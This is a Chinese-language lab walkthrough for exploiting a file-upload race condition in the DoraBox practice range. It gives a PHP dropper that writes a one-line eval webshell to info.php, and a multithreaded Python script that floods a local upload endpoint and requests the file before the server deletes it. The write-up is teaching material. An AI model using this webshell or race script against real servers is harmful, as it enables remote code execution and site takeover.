一、条件竞争的概念

发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中

二、文件上传-条件竞争源码

文件上传-条件竞争-DoraBox_文件指针

三、文件上传-条件竞争漏洞使用方法

我门可以猜测源码,这里应该是我们成功上传了php文件但后端在短时间内将其删除了,所以我们要抢到在它删除之前访问文件,就如我们打开文件的时候去删除它,会提示文件文件已打开一样,这样从而防止文件被删除。

利用木马文件:
上传PHP木马文件key.php,文件内容如下:

<?php fputs(fopen("info.php", "w"), '<?php @eval($_POST["x"]);?>'); ?>

作用:
只要访问了key.php文件,php文件就会成功解析执行,自动创建一个info.php,写入一句话木马:<?php @eval($_POST["x"]);?>

注:
fputs()函数的用法
1、fputs() 函数将内容写入一个打开的文件中。
2、函数会在到达指定长度或读到文件末尾(EOF)时(以先到者为准),停止运行。
3、如果函数成功执行,则返回写入的字节数。如果失败,则返回 FALSE。
4、fputs() 函数是 fwrite() 函数的别名。
fopen()函数的用法
1、fopen() 函数打开一个文件或 URL。
2、如果 fopen() 失败,它将返回 FALSE 并附带错误信息。您可以通过在函数名前面添加一个 ‘@’ 来隐藏错误输出。
“r” (只读方式打开,将文件指针指向文件头)
“r+” (读写方式打开,将文件指针指向文件头)
“w” (写入方式打开,清除文件内容,如果文件不存在则尝试创建之)
“w+” (读写方式打开,清除文件内容,如果文件不存在则尝试创建之)
“a” (写入方式打开,将文件指针指向文件末尾进行写入,如果文件不存在则尝试创建之)
“a+” (读写方式打开,通过将文件指针指向文件末尾进行写入来保存文件内容)
“x” (创建一个新的文件并以写入方式打开,如果文件已存在则返回 FALSE 和一个错误)
“x+” (创建一个新的文件并以读写方式打开,如果文件已存在则返回 FALSE 和一个错误)

因为靶场没有写上传界面,所以用python脚本直接上传key.php文件
python脚本如下

import requests
import threading
import os

class RaceCondition(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)

self.url = 'http://127.0.0.1/DoraBox/race_condition/uploads/key.php' #上传的文件地址
self.uploadUrl = 'http://127.0.0.1/DoraBox/race_condition/upload.php' #上传文件的地址

def _get(self):
print('try to call uploaded file...')
r = requests.get(self.url)
if r.status_code == 200:
print('[*] create file info.php success.')#成功访问key.php文件生成info.php,提示info.php创建成功
os._exit(0)

def _upload(self):
print('upload file...')
file = {'myfile': open('key.php', 'r')} #本地脚本木马
requests.post(self.uploadUrl, files=file)

def run(self):
while True:
for i in range(10):
self._upload()
self._get()

if __name__ == '__main__':
threads = 50

for i in range(threads):
t = RaceCondition()
t.start()

for i in range(threads):
t.join()

实现分两种情况:

第一种本地搭建:速度快

运行脚本文件

文件上传-条件竞争-DoraBox_上传_02


uploads文件夹中自动生成info.php

文件上传-条件竞争-DoraBox_上传_03


文件上传-条件竞争-DoraBox_php_04